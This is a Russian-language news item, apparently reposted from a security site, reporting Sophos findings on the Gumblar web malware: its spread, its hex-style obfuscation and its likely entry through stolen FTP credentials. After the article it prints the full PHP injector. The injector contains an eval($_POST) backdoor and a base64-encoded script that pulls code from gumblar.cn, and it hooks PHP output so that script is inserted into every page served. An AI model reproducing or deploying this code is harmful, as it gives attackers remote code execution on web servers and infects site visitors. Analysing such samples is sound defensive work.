Вирусные аналитики Sophos предупреждают о внезапном всплеске числа зараженных вредоносным скриптом Gumblar веб-страниц, в результате которого эта опасная программа возглавила список самых распространенных сетевых угроз. На долю эксплоита Gumblar (так по имени вредоносного сайта-источника называется Troj/JSRedir-R) приходится 42% от общего числа всех сегодняшних инфекций. Предыдущий лидер, Mal/Iframe-F, со своими семью процентами теперь кажется просто карликом. По словам Грэхема Клули из Sophos, JSRedir-R обычно обнаруживается на вполне законных веб-сайтах в виде скрытого JavaScript, без ведома пользователя загружающего вредоносный контент со сторонних ресурсов, в первую очередь – с gumblar.cn. Метод обфускации, используемый Gumblar, крайне прост, и состоит в замене буквенных обозначений их шестнадцатеричными аналогами. Так, вместо "пробела" используется "%20". В конце скрипта имеется функция замены % на произвольный символ. Вариантов скрипта имеется великое множество, зачастую обнаружить его можно прямо за тегом "body" в скомпрометированном документе HTML. Все файлы подобного рода указывают на внесенный в черный список Google сайт gumblar.cn. Поскольку скрипт обнаруживают на веб-сайтах, использующих самые разные PHP-приложения, отнести его распространение к какой-то одной уязвимости нельзя. Скорее всего, отправной точкой здесь служат скомпрометированные данные авторизации FTP, Например, один из вирусных аналитиков Sophos связывает заражение с PHPMod-A Trojan, который также меняет уровень доступа к директориям веб-серверов и размещает в каталоге "images" файл image.php. Интересно также, что эксплоит поражает файлы разных типов, а код его при этом неодинаков. Например, в js-файле это будет один код, а в php – другой. _http://www.xakep.ru/post/48227/default.asp
злой код Gumblar ) PHP: <?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3'])) eval($_POST['tmp_lkojfghx3']);if(!defined(’TMP_XHGFJOKL’)) define(’TMP_XHGFJOKL’,base64_decode(’PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBFb0xTPSd2YXI8MjBhPDNkPDIyUzw2M3I8NjlwdDw0NW5naTw2ZWU8MjI8MmNiPDNkPDIyVmVyczw2OW88NmUoKSs8MjI8MmNqPDNkPDIyPDIyPDJjPDc1PDNkPDZlYXZpZ2F0b3I8MmV1czw2NTw3MkFnZW50PDNiaWYoKHU8MmVpPDZlPDY0ZXhPZig8MjJXaW48MjIpPDNlMCk8MjY8MjYodTwyZWluZGV4Tzw2NjwyODwyMjw0ZVQ8MjA2PDIyKTwzYzApPDI2PDI2KDw2NG9jdW1lPDZldDwyZWNvbzw2YmllPDJlaTw2ZWRleDw0ZmYoPDIyPDZkaTw2NTw2YjwzZDE8MjIpPDNjMCk8MjY8MjYodDw3OXA8NjVvZih6cjw3Nno8NzRzKTwyMTwzZHR5cGU8NmZmKDwyMjw0MTwyMikpPDI5PDdiPDdhcnZ6dHM8M2Q8MjJBPDIyPDNiZTw3NmFsKDwyMmlmKHc8NjluZG93PDJlPDIyK2ErPDIyKTw2YTwzZDw2YSs8MjI8MmJhKzwyMjw0ZGFqb3I8MjI8MmI8NjI8MmI8NjErPDIyTWlub3I8MjIrYis8NjErPDIyPDQydTw2OWxkPDIyPDJiYjwyYjwyMmo8M2I8MjIpPDNiZG9jPDc1bWVudDwyZXdyaTw3NGU8Mjg8MjI8M2NzPDYzcjw2OXB0PDIwczw3MmM8M2Q8MmY8MmZndTw2ZDw2Mmw8NjFyPDJlY248MmZyczw3MzwyZjwzZmlkPDNkPDIyK2orPDIyPDNlPDNjPDVjPDJmPDczY3JpcHQ8M2U8MjIpPDNiPDdkJzt2YXIgQ2l6PUVvTFMucmVwbGFjZSgvPC9nLCclJyk7ZXZhbCh1bmVzY2FwZShDaXopKX0pKCk7CiAtLT48L3NjcmlwdD4=’)); function tmp_lkojfghx($s){ if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8)); if(preg_match_all(’#<script(.*?)</script>#is’,$s,$a)) foreach($a[0] as $v) if(count(explode(”\n”,$v))>5){ $e=preg_match(’#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#’,$v) || preg_match(’#[\(\[](\s*\d+,)20,}#’,$v); if((preg_match(’#\beval\b#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos;($v,’[removed]‘)))$s=str_replace($v,”,$s);} $s1=preg_replace(’#<script language=javascript><!– \ndocument\.write\(unescape\(.+?\n –></script>#’,”,$s); if(stristr($s,’<body’)) $s=preg_replace(’#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,’</body’)||stristr($s,’</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a); for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(’tmp_lkojfghx’);for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}} if(($a=@set_error_handler(’tmp_lkojfghx2′))!=’tmp_lkojfghx2′) $GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>